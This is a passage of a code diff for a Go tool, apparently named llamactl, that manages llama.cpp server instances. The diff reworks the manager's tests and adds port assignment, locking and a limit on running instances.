-	if len(instances) != 2 {
-		t.Errorf("Expected 2 instances, got %d", len(instances))
-	}
-
-	// Check names are present
-	names := make(map[string]bool)
-	for _, inst := range instances {
-		names[inst.Name] = true
-	}
-	if !names["instance1"] || !names["instance2"] {
-		t.Error("Expected both instance1 and instance2 in list")
-	}
-}
-
-func TestDeleteInstance_Success(t *testing.T) {
-	manager := createTestManager()
-
-	// Create an instance
-	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-	_, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Delete it
-	err = manager.DeleteInstance("test-instance")
-	if err != nil {
-		t.Fatalf("DeleteInstance failed: %v", err)
-	}
-
-	// Should no longer exist
-	_, err = manager.GetInstance("test-instance")
-	if err == nil {
-		t.Error("Instance should not exist after deletion")
-	}
-}
-
-func TestDeleteInstance_NotFound(t *testing.T) {
-	manager := createTestManager()
-
-	err := manager.DeleteInstance("nonexistent")
-	if err == nil {
-		t.Error("Expected error for deleting nonexistent instance")
-	}
-	if !strings.Contains(err.Error(), "not found") {
-		t.Errorf("Expected 'not found' error, got: %v", err)
-	}
-}
-
-func TestUpdateInstance_Success(t *testing.T) {
-	manager := createTestManager()
-
-	// Create an instance
-	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-	_, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Update it
-	newOptions := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/new-model.gguf",
-			Port:  8081,
-		},
-	}
-
-	updated, err := manager.UpdateInstance("test-instance", newOptions)
-	if err != nil {
-		t.Fatalf("UpdateInstance failed: %v", err)
-	}
-
-	if updated.GetOptions().Model != "/path/to/new-model.gguf" {
-		t.Errorf("Expected model '/path/to/new-model.gguf', got %q", updated.GetOptions().Model)
-	}
-	if updated.GetOptions().Port != 8081 {
-		t.Errorf("Expected port 8081, got %d", updated.GetOptions().Port)
-	}
-}
-
-func TestUpdateInstance_NotFound(t *testing.T) {
-	manager := createTestManager()
-
-	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	_, err := manager.UpdateInstance("nonexistent", options)
-	if err == nil {
-		t.Error("Expected error for updating nonexistent instance")
-	}
-	if !strings.Contains(err.Error(), "not found") {
-		t.Errorf("Expected 'not found' error, got: %v", err)
-	}
-}
-
-func TestPersistence_InstancePersistedOnCreation(t *testing.T) {
-	// Create temporary directory for persistence
 	tempDir := t.TempDir()
 
 	cfg := config.InstancesConfig{
 		PortRange:            [2]int{8000, 9000},
 		InstancesDir:         tempDir,
 		MaxInstances:         10,
+		TimeoutCheckInterval: 5,
 	}
-	manager := manager.NewInstanceManager(cfg)
 
+	// Test instance persistence on creation
+	manager1 := manager.NewInstanceManager(cfg)
 	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  8080,
 		},
 	}
 
-	// Create instance
+	_, err := manager1.CreateInstance("test-instance", options)
-	_, err := manager.CreateInstance("test-instance", options)
 	if err != nil {
 		t.Fatalf("CreateInstance failed: %v", err)
 	}
@@ -522,359 +72,102 @@ func TestPersistence_InstancePersistedOnCreation(t *testing.T) {
 		t.Errorf("Expected persistence file %s to exist", expectedPath)
 	}
 
-	// Verify file contains correct data
+	// Test loading instances from disk
-	data, err := os.ReadFile(expectedPath)
+	manager2 := manager.NewInstanceManager(cfg)
+	instances, err := manager2.ListInstances()
 	if err != nil {
-		t.Fatalf("Failed to read persistence file: %v", err)
+		t.Fatalf("ListInstances failed: %v", err)
+	}
+	if len(instances) != 1 {
+		t.Fatalf("Expected 1 loaded instance, got %d", len(instances))
+	}
+	if instances[0].Name != "test-instance" {
+		t.Errorf("Expected loaded instance name 'test-instance', got %q", instances[0].Name)
 	}
 
-	var persistedInstance map[string]interface{}
+	// Test port map populated from loaded instances (port conflict should be detected)
-	if err := json.Unmarshal(data, &persistedInstance); err != nil {
+	_, err = manager2.CreateInstance("new-instance", options) // Same port
-		t.Fatalf("Failed to unmarshal persisted data: %v", err)
+	if err == nil || !strings.Contains(err.Error(), "port") {
+		t.Errorf("Expected port conflict error, got: %v", err)
 	}
 
-	if persistedInstance["name"] != "test-instance" {
+	// Test file deletion on instance deletion
-		t.Errorf("Expected name 'test-instance', got %v", persistedInstance["name"])
+	err = manager2.DeleteInstance("test-instance")
-	}
-}
-
-func TestPersistence_InstancePersistedOnUpdate(t *testing.T) {
-	tempDir := t.TempDir()
-
-	cfg := config.InstancesConfig{
-		PortRange:    [2]int{8000, 9000},
-		InstancesDir: tempDir,
-		MaxInstances: 10,
-	}
-	manager := manager.NewInstanceManager(cfg)
-
-	// Create instance
-	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-	_, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Update instance
-	newOptions := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/new-model.gguf",
-			Port:  8081,
-		},
-	}
-	_, err = manager.UpdateInstance("test-instance", newOptions)
-	if err != nil {
-		t.Fatalf("UpdateInstance failed: %v", err)
-	}
-
-	// Verify persistence file was updated
-	expectedPath := filepath.Join(tempDir, "test-instance.json")
-	data, err := os.ReadFile(expectedPath)
-	if err != nil {
-		t.Fatalf("Failed to read persistence file: %v", err)
-	}
-
-	var persistedInstance map[string]interface{}
-	if err := json.Unmarshal(data, &persistedInstance); err != nil {
-		t.Fatalf("Failed to unmarshal persisted data: %v", err)
-	}
-
-	// Check that the options were updated
-	options_data, ok := persistedInstance["options"].(map[string]interface{})
-	if !ok {
-		t.Fatal("Expected options to be present in persisted data")
-	}
-
-	if options_data["model"] != "/path/to/new-model.gguf" {
-		t.Errorf("Expected updated model '/path/to/new-model.gguf', got %v", options_data["model"])
-	}
-}
-
-func TestPersistence_InstanceFileDeletedOnDeletion(t *testing.T) {
-	tempDir := t.TempDir()
-
-	cfg := config.InstancesConfig{
-		PortRange:    [2]int{8000, 9000},
-		InstancesDir: tempDir,
-		MaxInstances: 10,
-	}
-	manager := manager.NewInstanceManager(cfg)
-
-	// Create instance
-	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-	_, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	expectedPath := filepath.Join(tempDir, "test-instance.json")
-
-	// Verify file exists
-	if _, err := os.Stat(expectedPath); os.IsNotExist(err) {
-		t.Fatal("Expected persistence file to exist before deletion")
-	}
-
-	// Delete instance
-	err = manager.DeleteInstance("test-instance")
 	if err != nil {
 		t.Fatalf("DeleteInstance failed: %v", err)
 	}
 
-	// Verify file was deleted
 	if _, err := os.Stat(expectedPath); !os.IsNotExist(err) {
 		t.Error("Expected persistence file to be deleted")
 	}
 }
 
-func TestPersistence_InstancesLoadedFromDisk(t *testing.T) {
+func TestConcurrentAccess(t *testing.T) {
-	tempDir := t.TempDir()
+	mgr := createTestManager()
+	defer mgr.Shutdown()
 
-	// Create JSON files manually (simulating previous run)
+	// Test concurrent operations
-	instance1JSON := `{
+	var wg sync.WaitGroup
-		"name": "instance1",
+	errChan := make(chan error, 10)
-		"running": false,
-		"options": {
-			"model": "/path/to/model1.gguf",
-			"port": 8080
-		}
-	}`
 
-	instance2JSON := `{
+	// Concurrent instance creation
-		"name": "instance2", 
+	for i := range 5 {
-		"running": false,
+		wg.Add(1)
-		"options": {
+		go func(index int) {
-			"model": "/path/to/model2.gguf",
+			defer wg.Done()
-			"port": 8081
-		}
-	}`
-
-	// Write JSON files
-	err := os.WriteFile(filepath.Join(tempDir, "instance1.json"), []byte(instance1JSON), 0644)
-	if err != nil {
-		t.Fatalf("Failed to write test JSON file: %v", err)
-	}
-
-	err = os.WriteFile(filepath.Join(tempDir, "instance2.json"), []byte(instance2JSON), 0644)
-	if err != nil {
-		t.Fatalf("Failed to write test JSON file: %v", err)
-	}
-
-	// Create manager - should load instances from disk
-	cfg := config.InstancesConfig{
-		PortRange:    [2]int{8000, 9000},
-		InstancesDir: tempDir,
-		MaxInstances: 10,
-	}
-	manager := manager.NewInstanceManager(cfg)
-
-	// Verify instances were loaded
-	instances, err := manager.ListInstances()
-	if err != nil {
-		t.Fatalf("ListInstances failed: %v", err)
-	}
-
-	if len(instances) != 2 {
-		t.Fatalf("Expected 2 loaded instances, got %d", len(instances))
-	}
-
-	// Check instances by name
-	instancesByName := make(map[string]*instance.Process)
-	for _, inst := range instances {
-		instancesByName[inst.Name] = inst
-	}
-
-	instance1, exists := instancesByName["instance1"]
-	if !exists {
-		t.Error("Expected instance1 to be loaded")
-	} else {
-		if instance1.GetOptions().Model != "/path/to/model1.gguf" {
-			t.Errorf("Expected model '/path/to/model1.gguf', got %q", instance1.GetOptions().Model)
-		}
-		if instance1.GetOptions().Port != 8080 {
-			t.Errorf("Expected port 8080, got %d", instance1.GetOptions().Port)
-		}
-	}
-
-	instance2, exists := instancesByName["instance2"]
-	if !exists {
-		t.Error("Expected instance2 to be loaded")
-	} else {
-		if instance2.GetOptions().Model != "/path/to/model2.gguf" {
-			t.Errorf("Expected model '/path/to/model2.gguf', got %q", instance2.GetOptions().Model)
-		}
-		if instance2.GetOptions().Port != 8081 {
-			t.Errorf("Expected port 8081, got %d", instance2.GetOptions().Port)
-		}
-	}
-}
-
-func TestPersistence_PortMapPopulatedFromLoadedInstances(t *testing.T) {
-	tempDir := t.TempDir()
-
-	// Create JSON file with specific port
-	instanceJSON := `{
-		"name": "test-instance",
-		"running": false,
-		"options": {
-			"model": "/path/to/model.gguf",
-			"port": 8080
-		}
-	}`
-
-	err := os.WriteFile(filepath.Join(tempDir, "test-instance.json"), []byte(instanceJSON), 0644)
-	if err != nil {
-		t.Fatalf("Failed to write test JSON file: %v", err)
-	}
-
-	// Create manager - should load instance and register port
-	cfg := config.InstancesConfig{
-		PortRange:    [2]int{8000, 9000},
-		InstancesDir: tempDir,
-		MaxInstances: 10,
-	}
-	manager := manager.NewInstanceManager(cfg)
-
-	// Try to create new instance with same port - should fail due to conflict
 			options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
+				BackendType: backends.BackendTypeLlamaCpp,
-			Model: "/path/to/model2.gguf",
+				LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Port:  8080, // Same port as loaded instance
-		},
-	}
-
-	_, err = manager.CreateInstance("new-instance", options)
-	if err == nil {
-		t.Error("Expected error for port conflict with loaded instance")
-	}
-	if !strings.Contains(err.Error(), "port") || !strings.Contains(err.Error(), "in use") {
-		t.Errorf("Expected port conflict error, got: %v", err)
-	}
-}
-
-func TestPersistence_CompleteInstanceDataRoundTrip(t *testing.T) {
-	tempDir := t.TempDir()
-
-	cfg := config.InstancesConfig{
-		PortRange:           [2]int{8000, 9000},
-		InstancesDir:        tempDir,
-		MaxInstances:        10,
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	// Create first manager and instance with comprehensive options
-	manager1 := manager.NewInstanceManager(cfg)
-
-	autoRestart := false
-	maxRestarts := 10
-	restartDelay := 30
-
-	originalOptions := &instance.CreateInstanceOptions{
-		AutoRestart:  &autoRestart,
-		MaxRestarts:  &maxRestarts,
-		RestartDelay: &restartDelay,
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
 					Model: "/path/to/model.gguf",
-			Port:        8080,
-			Host:        "localhost",
-			CtxSize:     4096,
-			GPULayers:   32,
-			Temperature: 0.7,
-			TopK:        40,
-			TopP:        0.9,
-			Verbose:     true,
-			FlashAttn:   false,
-			Lora:        []string{"adapter1.bin", "adapter2.bin"},
-			HFRepo:      "microsoft/DialoGPT-medium",
 				},
 			}
+			instanceName := fmt.Sprintf("concurrent-test-%d", index)
+			if _, err := mgr.CreateInstance(instanceName, options); err != nil {
+				errChan <- err
+			}
+		}(i)
+	}
 
-	originalInstance, err := manager1.CreateInstance("roundtrip-test", originalOptions)
+	// Concurrent list operations
+	for i := 0; i < 3; i++ {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			if _, err := mgr.ListInstances(); err != nil {
+				errChan <- err
+			}
+		}()
+	}
+
+	wg.Wait()
+	close(errChan)
+
+	// Check for any errors during concurrent access
+	for err := range errChan {
+		t.Errorf("Concurrent access error: %v", err)
+	}
+}
+
+func TestShutdown(t *testing.T) {
+	mgr := createTestManager()
+
+	// Create test instance
+	options := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+	_, err := mgr.CreateInstance("test-instance", options)
 	if err != nil {
 		t.Fatalf("CreateInstance failed: %v", err)
 	}
 
-	// Create second manager (simulating restart) - should load the instance
+	// Shutdown should not panic
-	manager2 := manager.NewInstanceManager(cfg)
+	mgr.Shutdown()
 
-	loadedInstance, err := manager2.GetInstance("roundtrip-test")
+	// Multiple shutdowns should not panic
-	if err != nil {
+	mgr.Shutdown()
-		t.Fatalf("GetInstance failed after reload: %v", err)
-	}
-
-	// Compare all data
-	if loadedInstance.Name != originalInstance.Name {
-		t.Errorf("Name mismatch: original=%q, loaded=%q", originalInstance.Name, loadedInstance.Name)
-	}
-
-	originalOpts := originalInstance.GetOptions()
-	loadedOpts := loadedInstance.GetOptions()
-
-	// Compare restart options
-	if *loadedOpts.AutoRestart != *originalOpts.AutoRestart {
-		t.Errorf("AutoRestart mismatch: original=%v, loaded=%v", *originalOpts.AutoRestart, *loadedOpts.AutoRestart)
-	}
-	if *loadedOpts.MaxRestarts != *originalOpts.MaxRestarts {
-		t.Errorf("MaxRestarts mismatch: original=%v, loaded=%v", *originalOpts.MaxRestarts, *loadedOpts.MaxRestarts)
-	}
-	if *loadedOpts.RestartDelay != *originalOpts.RestartDelay {
-		t.Errorf("RestartDelay mismatch: original=%v, loaded=%v", *originalOpts.RestartDelay, *loadedOpts.RestartDelay)
-	}
-
-	// Compare llama server options
-	if loadedOpts.Model != originalOpts.Model {
-		t.Errorf("Model mismatch: original=%q, loaded=%q", originalOpts.Model, loadedOpts.Model)
-	}
-	if loadedOpts.Port != originalOpts.Port {
-		t.Errorf("Port mismatch: original=%d, loaded=%d", originalOpts.Port, loadedOpts.Port)
-	}
-	if loadedOpts.Host != originalOpts.Host {
-		t.Errorf("Host mismatch: original=%q, loaded=%q", originalOpts.Host, loadedOpts.Host)
-	}
-	if loadedOpts.CtxSize != originalOpts.CtxSize {
-		t.Errorf("CtxSize mismatch: original=%d, loaded=%d", originalOpts.CtxSize, loadedOpts.CtxSize)
-	}
-	if loadedOpts.GPULayers != originalOpts.GPULayers {
-		t.Errorf("GPULayers mismatch: original=%d, loaded=%d", originalOpts.GPULayers, loadedOpts.GPULayers)
-	}
-	if loadedOpts.Temperature != originalOpts.Temperature {
-		t.Errorf("Temperature mismatch: original=%f, loaded=%f", originalOpts.Temperature, loadedOpts.Temperature)
-	}
-	if loadedOpts.TopK != originalOpts.TopK {
-		t.Errorf("TopK mismatch: original=%d, loaded=%d", originalOpts.TopK, loadedOpts.TopK)
-	}
-	if loadedOpts.TopP != originalOpts.TopP {
-		t.Errorf("TopP mismatch: original=%f, loaded=%f", originalOpts.TopP, loadedOpts.TopP)
-	}
-	if loadedOpts.Verbose != originalOpts.Verbose {
-		t.Errorf("Verbose mismatch: original=%v, loaded=%v", originalOpts.Verbose, loadedOpts.Verbose)
-	}
-	if loadedOpts.FlashAttn != originalOpts.FlashAttn {
-		t.Errorf("FlashAttn mismatch: original=%v, loaded=%v", originalOpts.FlashAttn, loadedOpts.FlashAttn)
-	}
-	if loadedOpts.HFRepo != originalOpts.HFRepo {
-		t.Errorf("HFRepo mismatch: original=%q, loaded=%q", originalOpts.HFRepo, loadedOpts.HFRepo)
-	}
-
-	// Compare slice fields
-	if !reflect.DeepEqual(loadedOpts.Lora, originalOpts.Lora) {
-		t.Errorf("Lora mismatch: original=%v, loaded=%v", originalOpts.Lora, loadedOpts.Lora)
-	}
-
-	// Verify created timestamp is preserved
-	if loadedInstance.Created != originalInstance.Created {
-		t.Errorf("Created timestamp mismatch: original=%d, loaded=%d", originalInstance.Created, loadedInstance.Created)
-	}
 }
 
 // Helper function to create a test manager with standard config
@@ -887,6 +180,7 @@ func createTestManager() manager.InstanceManager {
 		DefaultAutoRestart:   true,
 		DefaultMaxRestarts:   3,
 		DefaultRestartDelay:  5,
+		TimeoutCheckInterval: 5,
 	}
 	return manager.NewInstanceManager(cfg)
 }

pkg/manager/operations.go

@@ -2,12 +2,15 @@ package manager
 
 import (
 	"fmt"
+	"llamactl/pkg/backends"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/validation"
 	"os"
 	"path/filepath"
 )
 
+type MaxRunningInstancesError error
+
 // ListInstances returns a list of all instances managed by the instance manager.
 func (im *instanceManager) ListInstances() ([]*instance.Process, error) {
 	im.mu.RLock()
@@ -27,10 +30,6 @@ func (im *instanceManager) CreateInstance(name string, options *instance.CreateI
 		return nil, fmt.Errorf("instance options cannot be nil")
 	}
 
-	if len(im.instances) >= im.instancesConfig.MaxInstances && im.instancesConfig.MaxInstances != -1 {
-		return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances)
-	}
-
 	name, err := validation.ValidateInstanceName(name)
 	if err != nil {
 		return nil, err
@@ -44,29 +43,27 @@ func (im *instanceManager) CreateInstance(name string, options *instance.CreateI
 	im.mu.Lock()
 	defer im.mu.Unlock()
 
+	// Check max instances limit after acquiring the lock
+	if len(im.instances) >= im.instancesConfig.MaxInstances && im.instancesConfig.MaxInstances != -1 {
+		return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances)
+	}
+
 	// Check if instance with this name already exists
 	if im.instances[name] != nil {
 		return nil, fmt.Errorf("instance with name %s already exists", name)
 	}
 
-	// Assign a port if not specified
+	// Assign and validate port for backend-specific options
-	if options.Port == 0 {
+	if err := im.assignAndValidatePort(options); err != nil {
-		port, err := im.getNextAvailablePort()
+		return nil, err
-		if err != nil {
-			return nil, fmt.Errorf("failed to get next available port: %w", err)
-		}
-		options.Port = port
-	} else {
-		// Validate the specified port
-		if _, exists := im.ports[options.Port]; exists {
-			return nil, fmt.Errorf("port %d is already in use", options.Port)
-		}
-		im.ports[options.Port] = true
 	}
 
-	inst := instance.NewInstance(name, &im.instancesConfig, options)
+	statusCallback := func(oldStatus, newStatus instance.InstanceStatus) {
+		im.onStatusChange(name, oldStatus, newStatus)
+	}
+
+	inst := instance.NewInstance(name, &im.instancesConfig, options, statusCallback)
 	im.instances[inst.Name] = inst
-	im.ports[options.Port] = true
 
 	if err := im.persistInstance(inst); err != nil {
 		return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
@@ -108,7 +105,7 @@ func (im *instanceManager) UpdateInstance(name string, options *instance.CreateI
 	}
 
 	// Check if instance is running before updating options
-	wasRunning := instance.Running
+	wasRunning := instance.IsRunning()
 
 	// If the instance is running, stop it first
 	if wasRunning {
@@ -146,11 +143,11 @@ func (im *instanceManager) DeleteInstance(name string) error {
 		return fmt.Errorf("instance with name %s not found", name)
 	}
 
-	if instance.Running {
+	if instance.IsRunning() {
 		return fmt.Errorf("instance with name %s is still running, stop it before deleting", name)
 	}
 
-	delete(im.ports, instance.GetOptions().Port)
+	delete(im.ports, instance.GetPort())
 	delete(im.instances, name)
 
 	// Delete the instance's config file if persistence is enabled
@@ -167,15 +164,20 @@ func (im *instanceManager) DeleteInstance(name string) error {
 func (im *instanceManager) StartInstance(name string) (*instance.Process, error) {
 	im.mu.RLock()
 	instance, exists := im.instances[name]
+	maxRunningExceeded := len(im.runningInstances) >= im.instancesConfig.MaxRunningInstances && im.instancesConfig.MaxRunningInstances != -1
 	im.mu.RUnlock()
 
 	if !exists {
 		return nil, fmt.Errorf("instance with name %s not found", name)
 	}
-	if instance.Running {
+	if instance.IsRunning() {
 		return instance, fmt.Errorf("instance with name %s is already running", name)
 	}
 
+	if maxRunningExceeded {
+		return nil, MaxRunningInstancesError(fmt.Errorf("maximum number of running instances (%d) reached", im.instancesConfig.MaxRunningInstances))
+	}
+
 	if err := instance.Start(); err != nil {
 		return nil, fmt.Errorf("failed to start instance %s: %w", name, err)
 	}
@@ -190,6 +192,17 @@ func (im *instanceManager) StartInstance(name string) (*instance.Process, error)
 	return instance, nil
 }
 
+func (im *instanceManager) IsMaxRunningInstancesReached() bool {
+	im.mu.RLock()
+	defer im.mu.RUnlock()
+
+	if im.instancesConfig.MaxRunningInstances != -1 && len(im.runningInstances) >= im.instancesConfig.MaxRunningInstances {
+		return true
+	}
+
+	return false
+}
+
 // StopInstance stops a running instance and returns it.
 func (im *instanceManager) StopInstance(name string) (*instance.Process, error) {
 	im.mu.RLock()
@@ -199,7 +212,7 @@ func (im *instanceManager) StopInstance(name string) (*instance.Process, error)
 	if !exists {
 		return nil, fmt.Errorf("instance with name %s not found", name)
 	}
-	if !instance.Running {
+	if !instance.IsRunning() {
 		return instance, fmt.Errorf("instance with name %s is already stopped", name)
 	}
 
@@ -239,3 +252,49 @@ func (im *instanceManager) GetInstanceLogs(name string) (string, error) {
 	// TODO: Implement actual log retrieval logic
 	return fmt.Sprintf("Logs for instance %s", name), nil
 }
+
+// getPortFromOptions extracts the port from backend-specific options
+func (im *instanceManager) getPortFromOptions(options *instance.CreateInstanceOptions) int {
+	switch options.BackendType {
+	case backends.BackendTypeLlamaCpp:
+		if options.LlamaServerOptions != nil {
+			return options.LlamaServerOptions.Port
+		}
+	}
+	return 0
+}
+
+// setPortInOptions sets the port in backend-specific options
+func (im *instanceManager) setPortInOptions(options *instance.CreateInstanceOptions, port int) {
+	switch options.BackendType {
+	case backends.BackendTypeLlamaCpp:
+		if options.LlamaServerOptions != nil {
+			options.LlamaServerOptions.Port = port
+		}
+	}
+}
+
+// assignAndValidatePort assigns a port if not specified and validates it's not in use
+func (im *instanceManager) assignAndValidatePort(options *instance.CreateInstanceOptions) error {
+	currentPort := im.getPortFromOptions(options)
+
+	if currentPort == 0 {
+		// Assign a port if not specified
+		port, err := im.getNextAvailablePort()
+		if err != nil {
+			return fmt.Errorf("failed to get next available port: %w", err)
+		}
+		im.setPortInOptions(options, port)
+		// Mark the port as used
+		im.ports[port] = true
+	} else {
+		// Validate the specified port
+		if _, exists := im.ports[currentPort]; exists {
+			return fmt.Errorf("port %d is already in use", currentPort)
+		}
+		// Mark the port as used
+		im.ports[currentPort] = true
+	}
+
+	return nil
+}

pkg/manager/operations_test.go

@@ -0,0 +1,229 @@
+package manager_test
+
+import (
+	"llamactl/pkg/backends"
+	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/config"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/manager"
+	"strings"
+	"testing"
+)
+
+func TestCreateInstance_Success(t *testing.T) {
+	manager := createTestManager()
+
+	options := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+			Port:  8080,
+		},
+	}
+
+	inst, err := manager.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	if inst.Name != "test-instance" {
+		t.Errorf("Expected instance name 'test-instance', got %q", inst.Name)
+	}
+	if inst.GetStatus() != instance.Stopped {
+		t.Error("New instance should not be running")
+	}
+	if inst.GetPort() != 8080 {
+		t.Errorf("Expected port 8080, got %d", inst.GetPort())
+	}
+}
+
+func TestCreateInstance_ValidationAndLimits(t *testing.T) {
+	// Test duplicate names
+	mngr := createTestManager()
+	options := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	_, err := mngr.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("First CreateInstance failed: %v", err)
+	}
+
+	// Try to create duplicate
+	_, err = mngr.CreateInstance("test-instance", options)
+	if err == nil {
+		t.Error("Expected error for duplicate instance name")
+	}
+	if !strings.Contains(err.Error(), "already exists") {
+		t.Errorf("Expected duplicate name error, got: %v", err)
+	}
+
+	// Test max instances limit
+	cfg := config.InstancesConfig{
+		PortRange:            [2]int{8000, 9000},
+		MaxInstances:         1, // Very low limit for testing
+		TimeoutCheckInterval: 5,
+	}
+	limitedManager := manager.NewInstanceManager(cfg)
+
+	_, err = limitedManager.CreateInstance("instance1", options)
+	if err != nil {
+		t.Fatalf("CreateInstance 1 failed: %v", err)
+	}
+
+	// This should fail due to max instances limit
+	_, err = limitedManager.CreateInstance("instance2", options)
+	if err == nil {
+		t.Error("Expected error when exceeding max instances limit")
+	}
+	if !strings.Contains(err.Error(), "maximum number of instances") {
+		t.Errorf("Expected max instances error, got: %v", err)
+	}
+}
+
+func TestPortManagement(t *testing.T) {
+	manager := createTestManager()
+
+	// Test auto port assignment
+	options1 := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	inst1, err := manager.CreateInstance("instance1", options1)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	port1 := inst1.GetPort()
+	if port1 < 8000 || port1 > 9000 {
+		t.Errorf("Expected port in range 8000-9000, got %d", port1)
+	}
+
+	// Test port conflict detection
+	options2 := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model2.gguf",
+			Port:  port1, // Same port - should conflict
+		},
+	}
+
+	_, err = manager.CreateInstance("instance2", options2)
+	if err == nil {
+		t.Error("Expected error for port conflict")
+	}
+	if !strings.Contains(err.Error(), "port") && !strings.Contains(err.Error(), "in use") {
+		t.Errorf("Expected port conflict error, got: %v", err)
+	}
+
+	// Test port release on deletion
+	specificPort := 8080
+	options3 := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+			Port:  specificPort,
+		},
+	}
+
+	_, err = manager.CreateInstance("port-test", options3)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	err = manager.DeleteInstance("port-test")
+	if err != nil {
+		t.Fatalf("DeleteInstance failed: %v", err)
+	}
+
+	// Should be able to create new instance with same port
+	_, err = manager.CreateInstance("new-port-test", options3)
+	if err != nil {
+		t.Errorf("Expected to reuse port after deletion, got error: %v", err)
+	}
+}
+
+func TestInstanceOperations(t *testing.T) {
+	manager := createTestManager()
+
+	options := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	// Create instance
+	created, err := manager.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	// Get instance
+	retrieved, err := manager.GetInstance("test-instance")
+	if err != nil {
+		t.Fatalf("GetInstance failed: %v", err)
+	}
+	if retrieved.Name != created.Name {
+		t.Errorf("Expected name %q, got %q", created.Name, retrieved.Name)
+	}
+
+	// Update instance
+	newOptions := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/new-model.gguf",
+			Port:  8081,
+		},
+	}
+
+	updated, err := manager.UpdateInstance("test-instance", newOptions)
+	if err != nil {
+		t.Fatalf("UpdateInstance failed: %v", err)
+	}
+	if updated.GetOptions().LlamaServerOptions.Model != "/path/to/new-model.gguf" {
+		t.Errorf("Expected model '/path/to/new-model.gguf', got %q", updated.GetOptions().LlamaServerOptions.Model)
+	}
+
+	// List instances
+	instances, err := manager.ListInstances()
+	if err != nil {
+		t.Fatalf("ListInstances failed: %v", err)
+	}
+	if len(instances) != 1 {
+		t.Errorf("Expected 1 instance, got %d", len(instances))
+	}
+
+	// Delete instance
+	err = manager.DeleteInstance("test-instance")
+	if err != nil {
+		t.Fatalf("DeleteInstance failed: %v", err)
+	}
+
+	_, err = manager.GetInstance("test-instance")
+	if err == nil {
+		t.Error("Instance should not exist after deletion")
+	}
+
+	// Test operations on non-existent instances
+	_, err = manager.GetInstance("nonexistent")
+	if err == nil || !strings.Contains(err.Error(), "not found") {
+		t.Errorf("Expected 'not found' error, got: %v", err)
+	}
+
+	err = manager.DeleteInstance("nonexistent")
+	if err == nil || !strings.Contains(err.Error(), "not found") {
+		t.Errorf("Expected 'not found' error, got: %v", err)
+	}
+
+	_, err = manager.UpdateInstance("nonexistent", options)
+	if err == nil || !strings.Contains(err.Error(), "not found") {
+		t.Errorf("Expected 'not found' error, got: %v", err)
+	}
+}
